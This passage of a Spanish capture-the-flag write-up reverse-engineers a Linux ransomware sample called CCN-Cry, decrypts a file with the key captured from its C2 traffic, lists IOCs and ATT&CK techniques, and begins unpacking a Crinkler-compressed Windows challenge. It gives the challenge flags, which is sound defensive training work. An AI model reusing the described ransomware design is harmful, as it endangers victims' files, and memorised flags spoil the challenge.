3 e1e1d64b6d6349ed81fa4ee0913ef931  ccn_cry
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| **1** | `-rwxr-xr-x root/root 14936 2019-01-09 17:03 ccn_cry` | un único ejecutable llamado `ccn_cry` |
| **2** | `ccn_cry: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dyna...` | ejecutable de Linux 64 bits |
| **2** | `ccn_cry: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dyna...` | sin nombres de funciones internas: habrá que leer las importadas |

**Pista (línea 2)**

Es el ransomware. **No ejecutarlo.**

**Siguiente paso:** Analizar en estático qué funciones usa.

### Paso 14. Funciones que importa el binario

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing CCN-Cry]#
objdump -T ccn_cry | grep \
  -E 'EVP_|srand|rand|time|gethostname|socket|connect|opendir|remove'
```

**Qué hace cada parte**

| | |
|---|---|
| `objdump -T` | tabla de símbolos dinámicos: funciones que el binario pide a librerías |
| `grep -E` | filtra las funciones relevantes |

**Salida esperada**

```
0000000000000000      DF *UND*  0000000000000000 (OPENSSL_1_1_0) EVP_CipherInit_ex
0000000000000000      DF *UND*  0000000000000000 (OPENSSL_1_1_0) EVP_bf_cbc
0000000000000000      DF *UND*  0000000000000000 (GLIBC_2.2.5) opendir
0000000000000000      DF *UND*  0000000000000000 (GLIBC_2.2.5) connect
0000000000000000      DF *UND*  0000000000000000 (GLIBC_2.2.5) gethostname
0000000000000000      DF *UND*  0000000000000000 (OPENSSL_1_1_0)
    ↪ EVP_CIPHER_CTX_set_key_length
0000000000000000      DF *UND*  0000000000000000 (OPENSSL_1_1_0) EVP_CIPHER_CTX_new
0000000000000000      DF *UND*  0000000000000000 (GLIBC_2.2.5) socket
0000000000000000      DF *UND*  0000000000000000 (OPENSSL_1_1_0) EVP_CipherFinal_ex
0000000000000000      DF *UND*  0000000000000000 (OPENSSL_1_1_0) EVP_CIPHER_CTX_reset
0000000000000000      DF *UND*  0000000000000000 (GLIBC_2.2.5) srand
0000000000000000      DF *UND*  0000000000000000 (GLIBC_2.2.5) remove
0000000000000000      DF *UND*  0000000000000000 (OPENSSL_1_1_0) EVP_CipherUpdate
0000000000000000      DF *UND*  0000000000000000 (GLIBC_2.2.5) rand
0000000000000000      DF *UND*  0000000000000000 (GLIBC_2.2.5) time
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| **2** | `0000000000000000 DF *UND* 0000 000000000000 (OPENSSL_1_1_0) EVP_b...` | **Blowfish en modo CBC** de OpenSSL: el algoritmo |
| **5** | `0000000000000000 DF *UND* 0000 000000000000 (GLIBC_2.2.5) gethost...` | lee el nombre del equipo (el `oat12` de la cabecera) |
| **6** | `0000000000000000 DF *UND* 0000 000000000000 (OPENSSL_1_1_0) EVP_C...` | el programa fija una longitud de clave concreta (importante) |
| **8** | `0000000000000000 DF *UND* 0000 000000000000 (GLIBC_2.2.5) socket` | `socket`+`connect`: conexión de red al C2 |
| **11** | `0000000000000000 DF *UND* 0000 000000000000 (GLIBC_2.2.5) srand` | `srand`+`rand`+`time`: claves pseudoaleatorias a partir de la hora |
| **12** | `0000000000000000 DF *UND* 0000 000000000000 (GLIBC_2.2.5) remove` | borra ficheros (los originales tras cifrarlos) |

**Pista (línea 2)**

Algoritmo identificado: Blowfish-CBC.

**Siguiente paso:** Ver cómo se generan clave e IV y qué longitud de clave se usa.

## Paso 15. Cadenas de texto del binario

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing CCN-Cry]#
strings -n 4 ccn_cry | grep -E 'CCN_CRY|Content-type|user.php|aarkap|abcdef|/home/|Key='
```

**Qué hace cada parte**

| | |
|---|---|
| `strings -n 4` | extrae texto legible de 4 o más caracteres |

**Salida esperada**

```
.CCN_CRYH
/home/robertM/
www.aarkaposleeqaasssf.tk
GET /user.php HTTP/1.0
Content-type: %s
Key= %s  iv= %s (%s)
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789,.-#@$%&(){};'?!
```

Análisis de la salida

| Línea | Texto | Qué significa |
|---|---|---|
| 1 | `.CCN_CRYH` | extensión que añade a los ficheros cifrados |
| 2 | `/home/robertM/` | carpeta que cifra |
| 3 | `www.aarkaposleeqaasssf.tk` | dominio del C2, el mismo de la captura |
| 5 | `Content-type: %s` | plantilla: el valor de la cabecera lo rellena el programa |
| 6 | `Key= %s iv= %s (%s)` | mensaje de depuración que imprime clave e IV |
| 7 | `abcdefghijklmnopqrstuvwxyzABCDEFGHIJ KLMNOPQRSTUVWXYZ0123456789,.-#@$%&...` | alfabeto de 78 caracteres para generar claves |

## Paso 16. Generación de clave (32) e IV (8)

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing CCN-Cry]#
objdump -d -M intel --no-show-raw-insn --start-address=0x1cdf --stop-address=0x1d4d \
  ccn_cry | tail -n +7
```

Qué hace cada parte

| | |
|---|---|
| `objdump -d` | desensambla: código máquina a instrucciones |
| `-M intel` | sintaxis Intel |
| `-start/-stop-address` | rango de direcciones a mostrar |
| `tail -n +7` | salta las 6 líneas de cabecera |

Salida esperada

```
0000000000001cdf <.text+0xb1f>:
    1cdf:       push   rbp
    1ce0:       mov    rbp,rsp
    1ce3:       sub    rsp,0x450
    1cea:       mov    QWORD PTR [rbp-0x438],rdi
    1cf1:       mov    QWORD PTR [rbp-0x440],rsi
    1cf8:       mov    QWORD PTR [rbp-0x448],rdx
    1cff:       mov    edi,0x8
    1d04:       call   19f4 <__cxa_finalize@plt+0x844>
    1d09:       mov    QWORD PTR [rbp-0x8],rax
    1d0d:       mov    edi,0x20
    1d12:       call   19f4 <__cxa_finalize@plt+0x844>
    1d17:       mov    QWORD PTR [rbp-0x10],rax
    1d1b:       lea    rax,[rbp-0x430]
    1d22:       mov    esi,0x400
    1d27:       mov    rdi,rax
    1d2a:       call   1060 <gethostname@plt>
    1d2f:       mov    rcx,QWORD PTR [rbp-0x8]
    1d33:       mov    rdx,QWORD PTR [rbp-0x10]
    1d37:       lea    rsi,[rbp-0x430]
    1d3e:       mov    rax,QWORD PTR [rbp-0x440]
    1d45:       mov    rdi,rax
    1d48:       call   1a97 <__cxa_finalize@plt+0x8e7>
```

Análisis de la salida

| Línea | Texto | Qué significa |
|---|---|---|
| 8 | `1cff: mov edi,0x8` | argumento 8 para la función generadora: el **IV** de 8 caracteres |
| 11 | `1d0d: mov edi,0x20` | argumento 0x20 = 32: la **clave** de 32 caracteres |
| 17 | `1d2a: call 1060 <gethostname@plt>` | obtiene el nombre del equipo |
| 23 | `1d48: call 1a97 <__cxa_finalize@plt+0x8e7>` | junta clave, IV y hostname en una estructura que se enviará |

**Pista (línea 11)**

Clave de 32 e IV de 8: coincide con los campos de la cabecera.

**Siguiente paso:** Ver cómo se genera cada carácter.

### Paso 17. Función generadora: alfabeto[rand() % 78]

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing CCN-Cry]#
objdump -d -M intel --no-show-raw-insn --start-address=0x1a23 --stop-address=0x1a73 \
  ccn_cry | tail -n +7
```

**Salida esperada**

```
0000000000001a23 <.text+0x863>:
    1a23:       call   1160 <rand@plt>
    1a28:       mov    ecx,eax
    1a2a:       mov    edx,0xd20d20d3
    1a2f:       mov    eax,ecx
    1a31:       imul   edx
    1a33:       lea    eax,[rdx+rcx*1]
    1a36:       sar    eax,0x6
    1a39:       mov    edx,eax
    1a3b:       mov    eax,ecx
    1a3d:       sar    eax,0x1f
    1a40:       sub    edx,eax
    1a42:       mov    eax,edx
    1a44:       mov    DWORD PTR [rbp-0x14],eax
    1a47:       mov    eax,DWORD PTR [rbp-0x14]
    1a4a:       imul   eax,eax,0x4e
    1a4d:       sub    ecx,eax
    1a4f:       mov    eax,ecx
    1a51:       mov    DWORD PTR [rbp-0x14],eax
    1a54:       mov    eax,DWORD PTR [rbp-0x4]
    1a57:       movsxd rdx,eax
    1a5a:       mov    rax,QWORD PTR [rbp-0x10]
    1a5e:       lea    rcx,[rdx+rax*1]
    1a62:       mov    eax,DWORD PTR [rbp-0x14]
    1a65:       movsxd rdx,eax
    1a68:       lea    rax,[rip+0x201731]        # 2031a0 <__cxa_finalize@plt+0x201ff0>
[... 1 líneas más ...]
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| **2** | `1a23: call 1160 <rand@plt>` | llama a `rand()` |
| **4** | `1a2a: mov edx,0xd20d20d3` | truco del compilador para dividir sin la instrucción `div` |
| **16** | `1a4a: imul eax,eax,0x4e` | 0x4e = 78: calcula `rand() % 78` |
| **26** | `1a68: lea rax,[rip+0x201731] # 2031a0 <__cxa_finalize@plt+...` | lee el carácter del alfabeto en esa posición |

**Pista (línea 16)**

Cada carácter de la clave es `alfabeto[rand() % 78]`.

**Siguiente paso:** Ver cómo se monta la cabecera.

### Paso 18. Construcción de la cabecera

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing CCN-Cry]#
objdump -d -M intel --no-show-raw-insn --start-address=0x16dc --stop-address=0x17b4 \
  ccn_cry | grep -E 'call|WORD PTR \[rax\]'
```

**Salida esperada**

```
    16f1:       call   10e0 <strcpy@plt>
    171f:       mov    WORD PTR [rax],0x3a
    1739:       call   1040 <strcat@plt>
    1767:       mov    WORD PTR [rax],0x3a
    1781:       call   1040 <strcat@plt>
    17af:       mov    WORD PTR [rax],0xa
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| **1** | `16f1: call 10e0 <strcpy@plt>` | copia el primer campo (clave) |
| **2** | `171f: mov WORD PTR [rax],0x3a` | escribe `:` (0x3a) |
| **6** | `17af: mov WORD PTR [rax],0xa` | termina con salto de línea (0x0a) |

**Pista (línea 6)**

Formato confirmado: `clave:iv:hostname\n`.

**Siguiente paso:** Comprobar qué parte de la clave se usa al cifrar.

### Paso 19. La trampa: longitud de clave

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing CCN-Cry]#
objdump -d -M intel --no-show-raw-insn --start-address=0x2064 --stop-address=0x20db \
  ccn_cry | tail -n +7
```

**Salida esperada**

```
0000000000002064 <.text+0xea4>:
    2064:       mov    rax,QWORD PTR [rbp-0x60]
    2068:       mov    rdi,rax
    206b:       call   10c0 <EVP_CIPHER_CTX_reset@plt>
    2070:       call   fa0 <EVP_bf_cbc@plt>
    2075:       mov    rsi,rax
    2078:       mov    rax,QWORD PTR [rbp-0x60]
    207c:       mov    r9d,0x1
    2082:       mov    r8d,0x0
    2088:       mov    ecx,0x0
    208d:       mov    edx,0x0
    2092:       mov    rdi,rax
    2095:       call   f30 <EVP_CipherInit_ex@plt>
    209a:       mov    rax,QWORD PTR [rbp-0x60]
    209e:       mov    esi,0x10
    20a3:       mov    rdi,rax
    20a6:       call   1070 <EVP_CIPHER_CTX_set_key_length@plt>
[... 10 líneas más ...]
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| **5** | `2070: call fa0 <EVP_bf_cbc@plt>` | selecciona Blowfish-CBC |
| **13** | `2095: call f30 <EVP_CipherInit_ex@plt>` | inicializa el cifrado con clave e IV |
| **15** | `209e: mov esi,0x10` | 0x10 = **16**: argumento de la llamada siguiente |
| **17** | `20a6: call 1070 <EVP_CIPHER_CTX_set_key_length@plt>` | fija la clave a 16 bytes |

**Pista (línea 15)**

Aunque genera 32 caracteres, **solo usa los 16 primeros** como clave.

**Siguiente paso:** Descifrar con los 16 primeros caracteres y el IV.

Errores posibles

| | |
|---|---|
| `bad decrypt (en el paso 21)` | si se usa la clave completa de 32 caracteres, OpenSSL falla: hay que cortar a 16 |

### Paso 20. Extraer clave e IV de la captura

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing CCN-Cry]#
CT=$(tshark -r incident-a1000032.pcapng -Y 'http.request.uri == "/user.php"' -T fields \
  -e http.content_type)
KEY=$(printf %s "$CT" | cut -d: -f1 | cut -c1-16)
IV=$(printf %s "$CT" | cut -d: -f2)
echo "KEY=[$KEY]  IV=[$IV]"; printf %s "$KEY" | xxd -p; printf %s "$IV" | xxd -p
```

Qué hace cada parte

| | |
|---|---|
| `CT=$(...)` | guarda la cabecera en la variable `CT` |
| `printf %s` | imprime la variable tal cual, sin salto de línea |
| `cut -d: -f1` | parte por `:` y se queda con el campo 1 |
| `cut -c1-16` | caracteres 1 a 16 |
| `xxd -p` | texto a hexadecimal plano (OpenSSL pide la clave en hex) |

Salida esperada

```
1 Running as user "root" and group "root". This could be dangerous.
2 KEY=[gAu,UovL8;,B2fOT]  IV=[B;?ShTiD]
3 6741752c556f764c383b2c4232664f54
4 423b3f5368546944
```

Análisis de la salida

| Línea | Texto | Qué significa |
|---|---|---|
| **2** | `KEY=[gAu,UovL8;,B2fOT] IV=[B;?ShTiD]` | clave de 16 caracteres e IV de 8 |
| **3** | `6741752c556f764c383b2c4232664f54` | clave en hexadecimal (32 dígitos = 16 bytes) |
| **4** | `423b3f5368546944` | IV en hexadecimal (16 dígitos = 8 bytes) |

Errores posibles

| | |
|---|---|
| `Running as user "root"...` | aviso de tshark; no afecta |

### Paso 21. Descifrar con Blowfish-CBC

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing CCN-Cry]#
openssl enc -d -bf-cbc -provider legacy -provider default \
  -K "$(printf %s "$KEY" | xxd -p)" -iv "$(printf %s "$IV" | xxd -p)" \
  -in Secret*.CCN_CRY -out Secret.txt && cat Secret.txt; echo
```

Qué hace cada parte

| | |
|---|---|
| `openssl enc -d` | descifrado simétrico |
| `-bf-cbc` | Blowfish modo CBC |
| `-provider legacy` | carga algoritmos antiguos (Blowfish) en OpenSSL 3 |
| `-K / -iv` | clave e IV en hexadecimal |
| `-in / -out` | fichero cifrado y fichero de salida |

Salida esperada

```
1 Flag: JosephPopp1989
```

Análisis de la salida

| Línea | Texto | Qué significa |
|---|---|---|
| 1 | `Flag: JosephPopp1989` | texto descifrado: la flag |

**Pista (línea 1)**

Valor de la flag: `JosephPopp1989`.

**Siguiente paso:** Calcular su MD5.

Errores posibles

| | |
|---|---|
| `hex string is too short / bad decrypt` | las variables `KEY` e `IV` están vacías: haz el paso 20 en la **misma terminal** |
| `unsupported cipher / bf-cbc` | falta `-provider legacy` |

### Paso 22. Flag en MD5

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing CCN-Cry]#
echo -n "JosephPopp1989" | md5sum
```

Qué hace cada parte

| | |
|---|---|
| `echo -n` | texto **sin** salto de línea (si lo lleva, el MD5 cambia) |

Salida esperada

```
1 c890082bbb38d2aad5eb182cac9fbc7e  -
```

Análisis de la salida

| Línea | Texto | Qué significa |
|---|---|---|
| 1 | `c890082bbb38d2aad5eb182cac9fbc7e -` | MD5 del valor |

**Pista (línea 1)**

**Flag:** `flag{c890082bbb38d2aad5eb182cac9fbc7e}`

**Siguiente paso:** Enviar.

## 4.7. Resultado

**Flag de CCN-Cry (validada)**

`flag{c890082bbb38d2aad5eb182cac9fbc7e}`

Contenido descifrado de `Secret.txt`: `Flag: JosephPopp1989`.

## 4.8. Funcionamiento del ransomware

- **Objetivo**: recorre el directorio `/home/robertM/` (`opendir`/`readdir`/`__xstat`) buscando ficheros cuya extensión (`strrchr`) esté en una lista de unas 150 (documentos, imágenes, bases de datos, código, claves...).
- **Cifrado**: Blowfish-CBC (`EVP_bf_cbc`) con clave efectiva de 128 bits; escribe `<fichero>.CCN_CRY` y borra el original (`remove`).
- **Clave**: 32 caracteres + IV de 8 tomados de un alfabeto de 78 símbolos con `rand() % 78`, sembrado con la hora (`srand(time(0))`).
- **Mando y control**: `GET /user.php` a `www.aarkaposleeqaasssf.tk:8080` con `Content-type: clave:iv:hostname`.

**Debilidades explotadas**: (1) la clave viaja en claro por HTTP y queda en la captura; (2) aunque no viajara, `srand(time)` haría posible la fuerza bruta probando las semillas cercanas a la hora del incidente; (3) la misma clave sirve para todos los ficheros.

## 4.9. Indicadores de compromiso (IOC)

| Tipo | Valor |
|---|---|
| IP víctima | `192.168.1.41` (*hostname* `oat12`) |
| IP servidor | `192.168.1.37` (HTTP/80 distribución, HTTP/8080 mando y control) |
| Dominio C2 | `www.aarkaposleeqaasssf.tk` |
| URL | `http://192.168.1.37/wget.tar.gz`, `http://www.aarkaposleeqaasssf.tk:8080/user.php` |
| Fichero | `ccn_cry` (ELF x86-64), MD5 `e1e1d64b6d6349ed81fa4ee0913ef931` |
| Extensión | `.CCN_CRY` |
| Ruta objetivo | `/home/robertM/` |
| Firma de red | Cabecera `Content-type` con formato `[32 car.]:[8 car.]:[hostname]` |

## 4.10. Técnicas observadas (MITRE ATT&CK)

| | |
|---|---|
| T1105 | *Ingress Tool Transfer*: descarga de `wget.tar.gz` por HTTP. |
| T1486 | *Data Encrypted for Impact*: cifrado Blowfish de los ficheros de la víctima. |
| T1083 | *File and Directory Discovery*: recorrido de `/home/robertM/`. |
| T1082 | *System Information Discovery*: `gethostname`. |
| T1071.001 | *Application Layer Protocol: Web*: comunicación con el C2 por HTTP. |
| T1041 | *Exfiltration Over C2 Channel*: envío de la clave y el IV. |
| T1070.004 | *File Deletion*: borrado de los originales. |
| T1046 | *Network Service Discovery*: la captura termina con un barrido de puertos desde `.41` hacia `.37` con puerto origen fijo (patrón típico de `nmap -sS`). |

## 4.11. Contexto: ¿por qué se llama así?

- **CCN-Cry** une **CCN** (Centro Criptológico Nacional, del que depende el CCN-CERT español) y **Cry**, por **WannaCry** (2017), el ransomware más famoso. La extensión `.CCN_CRY` imita la costumbre de renombrar los ficheros cifrados (WannaCry usaba `.WNCRY`).
- El dominio `aarkaposleeqaasssf.tk` es una ristra aleatoria al estilo del *kill-switch* de WannaCry (`iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com`). `.tk` (Tokelau) fue durante años un dominio gratuito muy usado por malware.
- **Joseph Popp, 1989**: autor del **AIDS Trojan** (o *PC Cyborg*), considerado el **primer ransomware de la historia**. Repartió unos 20.000 disquetes entre asistentes a la conferencia de la OMS sobre el SIDA; tras 90 arranques ocultaba los directorios y cifraba los nombres de los ficheros, y exigía 189 dólares a un apartado postal de Panamá. Su cifrado era simétrico y la clave estaba en el propio programa: igual que en este reto, el error del atacante deja la clave al alcance del analista.
- **Blowfish**: cifrado de bloque de 64 bits diseñado por Bruce Schneier en 1993. En OpenSSL 3 se considera *legacy*, por eso hay que cargar ese *provider*.

## 4.12. Conclusión

Un ransomware que transmite su clave en claro es reversible con la propia evidencia de red. El análisis estático del binario fue imprescindible para descubrir el detalle que hace fallar el descifrado ingenuo: la longitud de clave fijada a 16 bytes.

# 5. Reversing: The Kraken

## 5.1. Ficha del reto

| | |
|---|---|
| Categoría | Reversing (Windows, PE x86) |
| Dificultad | 2/5 |
| Objetivo | Encontrar la flag dentro de `TheKraken.exe` |
| Herramientas | `xxd`, `objdump`, Python (`pefile`, `unicorn`), lista de exports de Wine |

## 5.2. Enunciado

*Encuentra la flag. (Fichero: TheKraken.exe, MD5 33b0654d8e104031155c999e2f163bbd)*

## 5.3. Ficheros analizados

| Fichero | Bytes | Descripción |
|---|---|---|
| `TheKraken*.exe` | 932 | PE x86 comprimido con Crinkler |
| `MD5 33b0654d8e104031155c999e2f163bbd` | | `SHA1 426bad3e513925841a60aa7518e94397f7710564` |
| `unpacked.bin` | 65.536 | Código desempaquetado (volcado de la emulación) |
| `MD5 2f79b36350bc4b84177bfee5d5be4711` | | `SHA1 a0ccc2367a6f62853e757e123f6d1bc58b0c56c9` |

## 5.4. Resumen del análisis

1. El ejecutable mide 932 bytes, tiene la cabecera PE solapada con la DOS (`MZ23PE`), 0 secciones y `SizeOfImage` de 500 MB: es un ejecutable comprimido con **Crinkler** (versión 2.3).
2. En lugar de ejecutarlo, se **emula** el descompresor con Unicorn y se vuelca el código real (0x420000).
3. El código desempaquetado resuelve 8 APIs de `kernel32` por hash; con la lista de exports de Wine se identifican: entre ellas `GetACP` y `OutputDebugStringA`.
4. `main` descifra 23 bytes usando el byte bajo de `GetACP()` y los envía al depurador. Probando los 256 valores, solo uno produce texto legible terminado en `\0`.

## 5.5. Conceptos clave

| | |
|---|---|
| **PE** | formato de los ejecutables de Windows (.exe, .dll). Empieza por la cabecera DOS (`MZ`) y la PE. |
| **Packer / compresor** | programa que comprime un ejecutable; el código real solo aparece en memoria al ejecutarse. |
| **Crinkler** | compresor-enlazador de la demoscene para crear ejecutables de 4 KB. |
| **Punto de entrada** | dirección donde empieza a ejecutarse el programa. |
| **Emulación** | ejecutar el código en un procesador simulado (Unicorn) sin que toque el sistema real. |
| **Desensamblar** | traducir código máquina a instrucciones legibles (`mov`, `call`...). |
| **Resolución de APIs por hash** | en lugar de guardar los nombres de las funciones, el malware guarda un hash y las busca al ejecutarse. |
| **PEB** | estructura interna de Windows con la lista de DLL cargadas; se usa para encontrar kernel32 sin importar nada. |
| **GetACP** | función que devuelve la página de códigos ANSI del sistema (p. ej. 1252 en Europa occidental). |
| **OutputDebugStringA** | envía texto al depurador; no aparece en la consola (se ve con DebugView). |
| **Byte nulo** | byte 0 que marca el final de una cadena de texto en C. |

## 5.6. Procedimiento y análisis

**Carpeta:** `/home/kali/Downloads/retosRecuperacion/Reversing The Kraken`

### Paso 1. Entrar y verificar

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion]#
cd '/home/kali/Downloads/retosRecuperacion/Reversing The Kraken' && md5sum \
  TheKraken*.exe && file TheKraken*.exe && ls -l TheKraken*.exe
```

**Salida esperada**

```
33b0654d8e104031155c999e2f163bbd  TheKraken-33b0654d8e104031155c999e2f163bbd.exe
TheKraken-33b0654d8e104031155c999e2f163bbd.exe: PE32 executable (console) Intel 80386 Mono/.
    ↪ Net assembly, for MS Windows
-rw-r--r-- 1 root root 932 Nov 12 06:52 TheKraken-33b0654d8e104031155c999e2f163bbd.exe
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| 1 | `33b0654d8e104031155c999e2f163bbd TheKraken-33b0654d8e104031155c999e2f...` | MD5 correcto |
| 2 | `TheKraken-33b0654d8e104031155c999e2f163bbd.exe: PE32 executable (conso...` | `file` se equivoca: no es .NET; se confunde por la cabecera manipulada |
| 3 | `-rw-r-r- 1 root root 932 Nov 12 06:52 TheKraken-33b0654d8e104031155c...` | 932 bytes: absurdamente pequeño para un .exe |

**Pista (línea 3)**

Un ejecutable de 932 bytes tiene que estar comprimido o manipulado.

**Siguiente paso:** Mirar la cabecera.

### Paso 2. Cabecera en hexadecimal

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing The Kraken]#
xxd TheKraken*.exe | head -8
```

**Qué hace cada parte**

| | |
|---|---|
| `head -8` | primeras 8 líneas = 128 bytes |

**Salida esperada**

```
00000000: 4d5a 3233 5045 0000 4c01 0000 01db 617f  MZ23PE..L.....a.
00000010: 10d0 1773 7547 ebf9 0800 0200 0b01 11c9  ...suG..........
00000020: 4585 c079 1f01 d350 f7e2 903d 5c00 0000  E..y...P...=\...
00000030: f7f3 39c1 19db eb48 0000 4000 0400 0000  ..9....H..@.....
00000040: 0400 0000 0fa3 2d44 0140 008d 0400 ebce  ......-D.@......
00000050: 0000 0000 ebb6 421f 4000 0000 5331 edbb  ......B.@...S1..
00000060: 0300 0000 90be 2801 4000 6a01 58bf 0000  ......(.@.j.X...
00000070: 4200 b100 9057 eb12 0000 0000 0000 0000  B....W..........
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| **1** | `00000000: 4d5a 3233 5045 0000 4c01 0 000 01db 617f MZ23PE..L.....a.` | `4d5a 3233 5045` = `MZ23PE`: tras `MZ` va `23` y la cabecera `PE` empieza en el byte 4 (normalmente en 0x80 o más) |
| **4** | `00000030: f7f3 39c1 19db eb48 0000 4 000 0400 0000 ..9....H..@.....` | en 0x3c el valor `04000000`: el puntero a la cabecera PE vale 4 |
| **6** | `00000050: 0000 0000 ebb6 421f 4000 0 000 5331 edbb ......B.@...S1..` | desde 0x5c hay código (`53 31 ed bb`): `push ebx; xor ebp,ebp...` |

**Pista (línea 1)**

`MZ` + versión ASCII + `PE` en el offset 4 es la firma del compresor **Crinkler** (versión 2.3).

**Siguiente paso:** Confirmar la estructura PE.

### Paso 3. Estructura PE

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing The Kraken]#
python3 pe_info.py TheKraken*.exe
```

**Qué hace cada parte**

| | |
|---|---|
| `pe_info.py` | script: usa la librería **pefile** para leer la cabecera y mostrar los campos clave |

**Salida esperada**

```
Machine          : 0x14c  (x86)
TimeDateStamp    : 2037-09-21 04:18:09 UTC
e_lfanew         : 0x4
NumberOfSections : 0
ImageBase        : 0x400000
EntryPoint (RVA) : 0x5c
SizeOfImage      : 0x1f42b6eb  (500.2 MB)
Subsystem        : 3
DataDirectories  : 0
Firma Authenticode: no
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| **2** | `TimeDateStamp : 2037-09-21 04:18:09 UTC` | fecha 2037: imposible, esos bytes se reutilizan como código |
| **4** | `NumberOfSections : 0` | **0 secciones**: un PE normal tiene .text, .data... |
| **6** | `EntryPoint (RVA) : 0x5c` | punto de entrada 0x5c: dentro de la propia cabecera |
| **7** | `SizeOfImage : 0x1f42b6eb (500.2 MB)` | 500 MB de memoria reservada: espacio para descomprimir |

**Pista (línea 7)**

Todo apunta a un descompresor que se expande en memoria.

**Siguiente paso:** Ver el código del punto de entrada.

### Paso 4. Inicio del descompresor

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing The Kraken]#
objdump -D -b binary -m i386 -M intel --start-address=0x5c --stop-address=0x8a \
  TheKraken*.exe | tail -n +8
```

Qué hace cada parte

| | |
|---|---|
| `-D -b binary -m i386` | desensambla los bytes en bruto como código x86 de 32 bits (sin interpretar el formato PE) |

Salida esperada

```
  5c:   53                      push   ebx
  5d:   31 ed                   xor    ebp,ebp
  5f:   bb 03 00 00 00          mov    ebx,0x3
  64:   90                      nop
  65:   be 28 01 40 00          mov    esi,0x400128
  6a:   6a 01                   push   0x1
  6c:   58                      pop    eax
  6d:   bf 00 00 42 00          mov    edi,0x420000
  72:   b1 00                   mov    cl,0x0
  74:   90                      nop
  75:   57                      push   edi
  76:   eb 12                   jmp    0x8a
        ...
  80:   5a                      pop    edx
  81:   72 07                   jb     0x8a
  83:   92                      xchg   edx,eax
[... 3 líneas más ...]
```

Análisis de la salida

| Línea | Texto | Qué significa |
|---|---|---|
| **5** | `65: be 28 01 40 00 mov esi,0x400128` | `esi` apunta a los datos comprimidos |
| **8** | `6d: bf 00 00 42 00 mov edi,0x420000` | `edi` = destino del código descomprimido |
| **11** | `75: 57 push edi` | guarda 0x420000 en la pila: el `ret` final saltará allí |

**Pista (línea 8)**

El código real aparecerá en 0x420000.

**Siguiente paso:** Emular el descompresor hasta que salte a 0x420000.

### Paso 5. Emular el descompresor

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing The Kraken]#
time python3 kraken_emu.py TheKraken*.exe unpacked.bin
```

**Qué hace cada parte**

| | |
|---|---|
| `kraken_emu.py` | script: usa **Unicorn** (CPU emulada) para ejecutar el descompresor sin tocar el sistema |
| `time` | mide la duración |

**Salida esperada**

```
instrucciones emuladas: 1
salto a código desempaquetado: 0x420000
volcado 0x420000..0x430000 -> unpacked.bin
python3 kraken_emu.py TheKraken*.exe unpacked.bin  15.26s user 0.35s system 98% cpu 15.779
    ↪ total
```

**Análisis de la salida**

| Línea | Texto | Qué significa |
|---|---|---|
| **1** | `instrucciones emuladas: 1` | el contador solo empieza al llegar a 0x420000: la primera instrucción ya es el código descomprimido |
| **2** | `salto a código desempaquetado: 0x420000` | el descompresor terminó y saltó al código real |
| **3** | `volcado 0x420000..0x430000 -> unpacked.bin` | memoria guardada en `unpacked.bin` |

**Pista (línea 2)**

Código desempaquetado disponible.

**Siguiente paso:** Desensamblar `unpacked.bin`.

**Errores posibles**

| | |
|---|---|
| `ModuleNotFoundError: No module named 'unicorn'` | falta la librería: ejecutar `instalar.sh` |
| `can't open file 'kraken_emu.py'` | no estás en la carpeta del reto: haz el `cd` del paso 1 |

### Paso 6. Resolver de funciones por hash

```
(root@kali)-[/home/kali/Downloads/retosRecuperacion/Reversing The Kraken]#
objdump -D -b binary -m i386 -M intel --adjust-vma=0x420000 --start-address=0x420000 \
  --stop-address=0x42004b unpacked.bin | tail -n +8
```

**Qué hace cada parte**

| | |
|---|---|
| `-adjust-vma=0x420000` | numera las direcciones como si el código estuviera cargado en 0x420000 |

**Salida esperada**

```
  420000:       bb 08 01 40 00          mov    ebx,0x400108
  420005:       be b8 03 42 00          mov    esi,0x4203b8
  42000a:       bf 00 00 43 00          mov    edi,0x430000
  42000f:       58                      pop    eax
  420010:       8b 40 0c                mov    eax,DWORD PTR [eax+0xc]
  420013:       8b 40 0c                mov    eax,DWORD PTR [eax+0xc]
  420016:       8b 00                   mov    eax,DWORD PTR [eax]
  420018:       8b 00                   mov    eax,DWORD PTR [eax]
  42001a:       8b 68 18                mov    ebp,DWORD PTR [eax+0x18]
  42001d:       31 c0                   xor    eax,eax
  42001f:       ac                      lods   al,BYTE PTR ds:[esi]
```

```
420020:       91                      xchg   ecx,eax
420021:       60                      pusha
420022:       8b 45 3c                mov    eax,DWORD PTR [ebp+0x3c]
420025:       01 e8                   add    eax,ebp
420027:       8b 50 78                mov    edx,DWORD PTR [eax+0x78]
42002a:       01 ea                   add    edx,ebp
42002c:       8b 4a 18                mov    ecx,DWORD PTR [edx+0x18]
42002f:       8b 42 20                mov    eax,DWORD PTR [edx+0x20]
420032:       01 e8                   add    eax,ebp
420034:       8b 74 88 fc             mov    esi,DWORD PTR [eax+ecx*4-0x4]
420038:       01 ee                   add    esi,ebp
